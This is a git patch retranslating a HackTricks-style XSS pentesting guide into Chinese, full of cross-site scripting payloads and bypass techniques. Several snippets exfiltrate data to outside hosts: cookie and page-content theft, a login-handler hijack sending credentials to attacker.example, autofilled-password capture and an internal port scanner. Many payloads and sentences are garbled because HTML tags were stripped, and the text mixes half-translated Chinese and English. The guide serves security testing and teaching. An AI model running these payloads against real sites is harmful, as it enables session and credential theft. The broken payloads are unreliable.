From d6221932e0ee76ec48c0dd75e7eec9f9fde27427 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:23:45 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting --- .../xss-cross-site-scripting/README.md | 548 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 52 +- 2 files changed, 341 insertions(+), 259 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index c5601e13b..f78cfae2b 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -1,83 +1,84 @@ -# XSS (跨站脚本攻击) +# XSS (Cross Site Scripting) {{#include ../../banners/hacktricks-training.md}} -## 方法论 +## Methodology -1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被 JS 代码使用**。 -2. **找到反射/使用的上下文**。 -3. 如果 **被反射**: -1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷: -1. 在 **原始 HTML** 中: +1. 检查 **任何你可控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 是否被**反射**到 HTML 中或被 **JS** 代码**使用**。 +2. **找出被反射/使用的上下文**。 +3. 如果是 **reflected** +1. 检查 **你可以使用哪些符号**,并根据这些准备 payload: +1. 在 **raw HTML** 中: 1. 你能创建新的 HTML 标签吗? 2. 你能使用支持 `javascript:` 协议的事件或属性吗? 3. 你能绕过保护吗? -4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。 -5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗? +4. HTML 内容是否被任何客户端 JS 引擎(_AngularJS_, _VueJS_, _Mavo_...)解释,你可以滥用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。 +5. 如果你不能创建执行 JS 的 HTML 标签,能否滥用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. 在 **HTML 标签内**: -1. 你能退出到原始 HTML 上下文吗? -2. 你能创建新的事件/属性来执行 JS 代码吗? -3. 你被困的属性是否支持 JS 执行? +1. 你能退出到 raw HTML 上下文吗? +2. 你能创建新的事件/属性来执行 JS 吗? +3. 你被困住的属性是否支持 JS 执行? 4. 你能绕过保护吗? -3. 在 **JavaScript 代码中**: +3. 在 **JavaScript 代码** 内: 1. 你能逃逸 ``** 标签之间,或者在 `.js` 文件中,或在使用 **`javascript:`** 协议的属性中: +在这种情况下,你的输入被反射在 HTML 页面中的 **``** 标签之间、一个 `.js` 文件内部,或在使用 **`javascript:`** 协议的属性内: -- 如果反映在 **``** 标签之间,即使您的输入在任何类型的引号内,您可以尝试注入 `` 并从此上下文中逃脱。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `` 标签在 HTML 代码中。 -- 如果反映 **在 JS 字符串内**,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行): +- 如果反射在 **``** 标签之间,即使你的输入位于任何类型的引号内,你也可以尝试注入 `` 并从该上下文中逃出。 这是因为 **浏览器会先解析 HTML 标签** 然后解析内容,因此不会注意到你注入的 `` 标签位于 HTML 代码内部。 +- 如果反射在 **JS 字符串内部** 并且上一个技巧无效,你需要**退出**该字符串、**执行**你的代码并**重建**JS 代码(如果有任何错误,它将不会被执行: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- 如果反映在模板字面量中,您可以使用 `${ ... }` 语法 **嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode 编码** 可用于编写 **有效的 javascript 代码**: +- 如果反射在 template literals 中,你可以使用 `${ ... }` 语法**嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** 可用于编写 **valid javascript code**: ```javascript alert(1) alert(1) @@ -85,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会,因此您可以利用使用未声明的变量或函数的 XSS 场景。**\ -**有关更多信息,请查看以下页面:** +Javascript Hoisting 指的是可以在使用后再声明函数、变量或类的机会,因此你可以在 XSS 使用未声明的变量或函数时进行利用。\ +**查看更多信息请参阅以下页面:** {{#ref}} @@ -95,19 +96,19 @@ js-hoisting.md ### Javascript Function -一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。 +许多网页有一些 endpoints 会**接受作为参数的要执行函数名**。在实际中常见的例子像:`?callback=callbackFunc`。 -找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如: +测试用户直接提供的某些值是否会被执行的好方法是**修改该参数值**(例如改为 'Vulnerable'),并在控制台中查看是否有如下错误: ![](<../../images/image (711).png>) -如果它是脆弱的,您可能能够**触发一个警报**,只需发送值:**`?callback=alert(1)`**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。 +如果存在漏洞,你可能能够仅通过发送该值就**触发一个 alert**:**`?callback=alert(1)`**。不过,这类端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。 -然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用有效字符**访问 DOM 中的任何元素**: +然而,即使在该限制下仍然可以执行某些操作。这是因为你可以使用这些合法字符来**访问 DOM 中的任意元素**: ![](<../../images/image (747).png>) -一些有用的函数: +一些有用的函数包括: ``` firstElementChild lastElementChild @@ -115,11 +116,12 @@ nextElementSibiling lastElementSibiling parentElement ``` -您还可以尝试直接**触发 Javascript 函数**:`obj.sales.delOrders`。 +你也可以尝试直接**触发 Javascript 函数**:`obj.sales.delOrders`。 -然而,通常执行指定函数的端点是没有太多有趣 DOM 的端点,**同一源中的其他页面**将具有**更有趣的 DOM**以执行更多操作。 +但是,通常执行该函数的端点并没有太多有趣的 DOM,来自同源的其他页面会有更有趣的 DOM 来执行更多操作。 + +因此,为了在不同的 DOM 中**滥用该漏洞**,开发了 **Same Origin Method Execution (SOME)** 利用方法: -因此,为了**在不同 DOM 中滥用此漏洞**,开发了**同源方法执行 (SOME)** 利用: {{#ref}} some-same-origin-method-execution.md @@ -127,36 +129,39 @@ some-same-origin-method-execution.md ### DOM -有**JS 代码**不安全地使用一些**由攻击者控制的数据**,如 `location.href`。攻击者可以利用这一点执行任意 JS 代码。 +存在使用**不安全**的**JS code**来利用某些**由攻击者控制的数据**(例如 `location.href`)。攻击者可以滥用此来执行任意 JS 代码。 + {{#ref}} dom-xss.md {{#endref}} -### **通用 XSS** +### **Universal XSS** -这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用,还依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上,等等。\ +这种类型的 XSS 可以出现在**任何地方**。它们不仅依赖于对 web 应用的客户端利用,而是依赖于**任何****上下文**。此类**任意 JavaScript 执行**甚至可以被滥用以获取 **RCE**、在客户端和服务器上**读取任意文件**,等等。 一些**示例**: + {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF 绕过编码图像 +## WAF bypass encoding image -![来自 https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) +![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## 在原始 HTML 中注入 +## Injecting inside raw HTML -当您的输入在**HTML 页面中被反射**或您可以在此上下文中转义并注入 HTML 代码时,您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\ -对于这些情况,还**请记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\ -_**注意:HTML 注释可以使用\*\***\***\*`-->`\*\***\***\*或\*\***`--!>`\*\**关闭_ +当你的输入被反映在 HTML 页面内,或你可以在该上下文中转义并注入 HTML 代码时,首先要做的是检查是否可以滥用 `<` 来创建新标签:尝试使该字符被**反射**,并检查它是否被**HTML 编码**、**删除**,还是**原样反射**。只有在最后一种情况下你才能利用该问题。 +对于这类情况,也请记住 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。 +_**注意:HTML 注释可以使用 `-->` 或 `--!>` 关闭**_ -在这种情况下,如果没有使用黑名单/白名单,您可以使用如下有效负载: +在这种情况下,如果没有使用黑/白名单过滤,你可以使用类似的 payloads: ```html `标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。 +在这些情况下,你的 **input** 会被 **反射到 JS 代码中**,比如在 `.js` 文件内、`` 标签之间、在可以执行 JS 的 HTML 事件中,或在接受 `javascript:` 协议的属性中。 -### 转义\`中,您可以轻松地**转义关闭`` 中,你可以很容易地**转义以闭合 ` ``` -注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本仅在之后进行。 +注意在这个例子中我们 **甚至都没有关闭单引号**。这是因为 **HTML 解析首先由浏览器执行**,该过程涉及识别页面元素,包括 script 块。随后才会对 JavaScript 进行解析以理解并执行嵌入的脚本。 ### 在 JS 代码内部 -如果 `<>` 被清理,你仍然可以**转义字符串**,在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的,因为如果有任何错误,JS 代码将不会被执行: +如果 `<>` 被过滤,你仍然可以在输入被**放置**的位置**对字符串进行转义**并**执行任意 JS**。重要的是要**修复 JS 语法**,因为如果有任何错误,JS 代码将不会被执行: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` +#### JS-in-JS 字符串中断 → inject → 修复 模式 + +当用户输入落在一个带引号的 JavaScript 字符串中(例如,服务器端回显到内联脚本中)时,你可以终止该字符串、inject 代码,并修复语法以保持解析有效。通用骨架: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式: +``` +?param=test";;a=" +``` +This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords. + ### 模板字面量 \`\` -为了构造 **字符串**,除了单引号和双引号,JS 还接受 **反引号** **` `` `**。这被称为模板字面量,因为它们允许使用 `${ ... }` 语法 **嵌入 JS 表达式**。\ -因此,如果你发现你的输入在使用反引号的 JS 字符串中被 **反射**,你可以利用语法 `${ ... }` 来执行 **任意 JS 代码**: +In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\ +Therefore, if you find that your input is being **reflected** inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute **arbitrary JS code**: -这可以通过以下方式 **滥用**: +This can be **abused** using: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -507,20 +527,36 @@ return loop } loop`` ``` -### 编码代码执行 +### 编码的 code 执行 ```html ``` -**在注释中的Javascript** +**Javascript 在注释中** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` -**没有括号的JavaScript** +**JavaScript 无需括号** ```javascript // By setting location window.location='javascript:alert\x281\x29' @@ -681,7 +717,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**任意函数(alert)调用** +**任意函数 (alert) 调用** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -741,62 +777,64 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ``` -## **DOM 漏洞** +## **DOM vulnerabilities** + +存在 **JS code** 使用了由攻击者控制的**不安全数据**,例如 `location.href`。攻击者可以滥用这些数据来执行任意 JS 代码。\ +**由于对** [**DOM vulnerabilities**](dom-xss.md) **的说明较长,已将其移至该页面:** -有 **JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\ -**由于对** [**DOM 漏洞的解释扩展,已移至此页面**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -在这里,您将找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\ -此外,请不要忘记在提到的帖子末尾,您可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。 +在那里你会找到关于 **DOM vulnerabilities 是什么、如何被触发以及如何利用它们** 的详细解释。\ +另外,别忘了在上述文章的末尾可以找到关于 [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) 的说明。 -### 升级 Self-XSS +### Upgrading Self-XSS ### Cookie XSS -如果您可以通过在 cookie 中发送有效负载来触发 XSS,这通常是自我 XSS。然而,如果您发现一个 **易受 XSS 攻击的子域名**,您可以利用这个 XSS 在整个域中注入一个 cookie,从而在主域或其他子域(易受 cookie XSS 攻击的那些)中触发 cookie XSS。为此,您可以使用 cookie tossing 攻击: +如果你能通过将 payload 放入 cookie 来触发 XSS,这通常是 self-XSS。然而,如果你发现一个 **vulnerable subdomain to XSS**,你可以滥用该 XSS 向整个域注入 cookie,从而在主域或其他子域(那些对 cookie XSS 易受攻击的子域)触发 cookie XSS。为此你可以使用 cookie tossing attack: + {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -您可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对该技术的极佳利用。 +你可以在 [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中看到对此技术的优秀滥用示例。 -### 将您的会话发送给管理员 +### Sending your session to the admin -也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了该资料,他将触发该漏洞。 +可能某个用户可以与 管理员 分享他的 profile,如果 self XSS 存在于该用户的 profile 中且 管理员 访问它,就会触发该漏洞。 -### 会话镜像 +### Session Mirroring -如果您发现一些自我 XSS,并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助您,管理员将看到您在会话中看到的内容,但从他的会话中。 +如果你发现了某些 self XSS 并且网页对 管理员 有 **session mirroring for administrators**,例如允许客户寻求帮助,为了帮助你 管理员 会看到你在 session 中看到的内容,但是在他的 session 中。 -您可以让 **管理员触发您的自我 XSS** 并窃取他的 cookies/会话。 +你可以让 管理员 触发你的 self XSS 并窃取他的 cookies/session。 -## 其他绕过 +## Other Bypasses -### 规范化 Unicode +### Normalised Unicode -您可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。 +你可以检查 **reflected values** 是否在服务器端(或客户端)被 **unicode normalized**,并滥用此功能来绕过防护。 [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). -### PHP FILTER_VALIDATE_EMAIL 标志绕过 +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` -### Ruby-On-Rails 绕过 +### Ruby-On-Rails bypass -由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后绕过引号限制,并且可以在标签内添加额外字段(onfocus)。\ -表单示例 ([from this report](https://hackerone.com/reports/709336)),如果您发送有效负载: +由于 **RoR mass assignment**,引号会被插入到 HTML 中,从而绕过引号限制,并可以在标签内部添加额外字段(onfocus)。\ +表单示例 ([from this report](https://hackerone.com/reports/709336)),如果你发送 payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -成对的 "Key","Value" 将被回显如下: +键值对 "Key","Value" 将被回显如下: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -然后,将插入 onfocus 属性,并发生 XSS。 +然后,会插入 onfocus 属性并触发 XSS。 ### 特殊组合 ```html @@ -828,24 +866,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS与302响应中的头部注入 +### XSS with header injection in a 302 response -如果你发现可以**在302重定向响应中注入头部**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。 +如果你发现可以 **inject headers in a 302 Redirect response**,可以尝试 **make the browser execute arbitrary JavaScript**。这并不简单,因为现代 browsers 在 HTTP 响应状态码为 302 时不会解释 HTTP response body,所以单纯的 cross-site scripting payload 是无效的。 -在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何测试Location头部中的几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\ -已知的过去协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头部_、`resource://`。 +In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 你可以阅读如何在 Location header 内测试多种 protocols,并查看是否有允许 browser 检查并执行 body 中 XSS payload 的协议。\ +Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. -### 仅限字母、数字和点 +### Only Letters, Numbers and Dots -如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。 +如果你能够指定将被 javascript 执行的 **callback** 且限制为这些字符,请参考 [**Read this section of this post**](#javascript-function) 以了解如何滥用此行为。 -### 有效的` @@ -946,20 +984,20 @@ import { partition } from "lodash" ``` ### 特殊替换模式 -当使用类似 **`"some {{template}} data".replace("{{template}}", )`** 的代码时,攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 来尝试绕过某些保护措施: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +当出现像 **`"some {{template}} data".replace("{{template}}", )`** 这样的用法时,攻击者可能会使用 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) 试图绕过一些防护: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -例如,在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来 **转义脚本中的 JSON 字符串** 并执行任意代码。 +例如在 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),这被用来在脚本中**转义 JSON 字符串**并执行任意代码。 -### Chrome 缓存到 XSS +### Chrome Cache 导致 XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} -### XS 监狱逃逸 +### XS Jails Escape -如果您只能使用有限的字符集,请查看这些其他有效的解决方案以解决 XSJail 问题: +如果你只能使用有限的字符集,请查看这些针对 XSJail 问题的其他可行解决方案: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -990,22 +1028,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -如果在执行不受信任的代码之前**一切都是未定义的**(如在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)中所述),则可以“凭空”生成有用的对象,以滥用任意不受信任代码的执行: +如果在执行不受信任的代码之前,**所有东西都是 undefined**(像在 [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)),就可以“从无到有”生成有用的对象来滥用任意不受信任代码的执行: -- 使用 import() +- Using import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - 间接访问 `require` -[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块在 Node.js 中被包装在一个函数内,如下所示: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 模块被 Node.js 包装在一个函数中,如下: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -因此,如果我们可以从该模块**调用另一个函数**,则可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**: +因此,如果我们能从该模块**调用另一个函数**,则可以在该函数中使用`arguments.callee.caller.arguments[1]`来访问**`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1014,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -以与之前示例类似的方式,可以**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数: +与前面的示例类似,可以通过**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数: ```javascript try { null.f() @@ -1052,9 +1090,9 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### 混淆与高级绕过 +### Obfuscation & Advanced Bypass -- **同一页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **同一页面中的不同 obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1233,24 +1271,25 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS 常见有效载荷 +## XSS 常见 payloads -### 多个有效载荷在 1 中 +### 多个 payloads 合并为 1 {{#ref}} steal-info-js.md {{#endref}} -### Iframe 陷阱 +### Iframe Trap + +使用户在页面内浏览而不离开 iframe 并窃取其操作(包括在表单中提交的信息): -使用户在页面中导航而不退出 iframe,并窃取其操作(包括在表单中发送的信息): {{#ref}} ../iframe-traps.md {{#endref}} -### 检索 Cookies +### 获取 Cookies ```javascript /?c="+document.cookie> @@ -1273,9 +1312,9 @@ steal-info-js.md ``` > [!TIP] -> 如果在 cookie 中设置了 HTTPOnly 标志,您 **将无法通过 JavaScript 访问 cookies**。但如果您足够幸运,这里有 [一些绕过此保护的方法](../hacking-with-cookies/index.html#httponly)。 +> 如果 cookie 设置了 HTTPOnly 标志,你将无法从 JavaScript 访问 cookies。但如果你足够幸运,这里有一些[绕过该保护的方法](../hacking-with-cookies/index.html#httponly)。 -### 偷取页面内容 +### 窃取页面内容 ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1288,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### 查找内部IP地址 +### 查找内部 IP 地址 ```html ``` -### 端口扫描器 (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### 端口扫描器 (websockets) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` @@ -1383,16 +1422,31 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -当任何数据被输入到密码字段时,用户名和密码会被发送到攻击者的服务器,即使客户端选择了一个保存的密码而没有输入任何内容,凭据也会被外泄。 +当在 password 字段中输入任何数据时,username 和 password 会被发送到攻击者的服务器;即使客户端选择了已保存的密码而没有手动输入,凭证仍会被 ex-filtrated。 + +### Hijack form handlers to exfiltrate credentials (const shadowing) + +如果一个关键 handler(例如 `function DoLogin(){...}`)在页面中较晚声明,而你的 payload 较早运行(例如通过 inline JS-in-JS sink),那么先用相同名字定义一个 `const` 来抢占并锁定该 handler。随后声明的 function 无法重新绑定 `const` 名称,从而使你的 hook 保持控制: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Notes +- 这依赖于执行顺序:你的注入必须在合法声明之前执行。 +- 如果你的 payload 被包在 `eval(...)` 中,`const/let` 绑定不会变成全局。使用来自章节 “Deliverable payloads with eval(atob()) and scope nuances” 的动态 ` ``` -### 偷窃 PostMessage 消息 +### 窃取 PostMessage 消息 ```html ``` -### 滥用服务工作者 +### 滥用 Service Workers {{#ref}} abusing-service-workers.md {{#endref}} -### 访问影子DOM +### 访问 Shadow DOM {{#ref}} shadow-dom.md {{#endref}} -### 多语言混合 +### Polyglots {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### 盲XSS有效载荷 +### Blind XSS payloads -您还可以使用: [https://xsshunter.com/](https://xsshunter.com) +你也可以使用: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> @@ -1507,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - 访问隐藏内容 -从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到,即使某些值从 JS 中消失,仍然可以在不同对象的 JS 属性中找到它们。例如,REGEX 的输入在正则表达式的输入值被移除后仍然可以找到: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. 例如,一个 REGEX 的输入在该输入值被移除之后,仍然可以被找到: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1524,7 +1578,7 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### 暴力破解列表 +### Brute-Force List {{#ref}} @@ -1533,34 +1587,36 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ## XSS 利用其他漏洞 -### Markdown 中的 XSS +### XSS 在 Markdown 中 -可以注入将被渲染的 Markdown 代码吗?也许你可以获得 XSS!检查: +可以注入会被渲染的 Markdown 代码吗?也许你可以触发 XSS!查看: {{#ref}} xss-in-markdown.md {{#endref}} -### XSS 到 SSRF +### XSS 转为 SSRF -在一个 **使用缓存的站点** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级到 SSRF**,使用以下有效载荷: +在一个**使用缓存的站点**上发现了 XSS?尝试通过 Edge Side Include Injection 将其**升级为 SSRF**,使用以下 payload: ```python ``` -利用它来绕过 cookie 限制、XSS 过滤器等更多!\ -有关此技术的更多信息,请查看:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。 +使用它可以绕过 cookie 限制、XSS 过滤器以及更多!\ +More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### 动态创建 PDF 中的 XSS +### 动态创建的 PDF 中的 XSS + +如果网页使用由用户控制的输入创建 PDF,你可以尝试**欺骗正在创建 PDF 的 bot**去**执行任意 JS 代码**。\ +所以,如果**PDF creator bot finds**某种**HTML** **tags**,它就会**interpret**它们,你可以**abuse**此行为以导致**Server XSS**。 -如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人** 以 **执行任意 JS 代码**。\ -因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。 {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -如果您无法注入 HTML 标签,尝试 **注入 PDF 数据** 可能是值得的: +如果你无法注入 HTML 标签,值得尝试**注入 PDF 数据**: + {{#ref}} pdf-injection.md @@ -1568,15 +1624,15 @@ pdf-injection.md ### Amp4Email 中的 XSS -AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaScript,以确保功能性,同时强调速度和安全性。它支持多种组件以实现各种功能,您可以通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。 +AMP 旨在加速移动设备上的网页性能,使用 HTML 标签并辅以 JavaScript 来保证功能,同时强调速度与安全。它支持一系列用于各种功能的组件,可通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。 -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。 +The [**AMP for 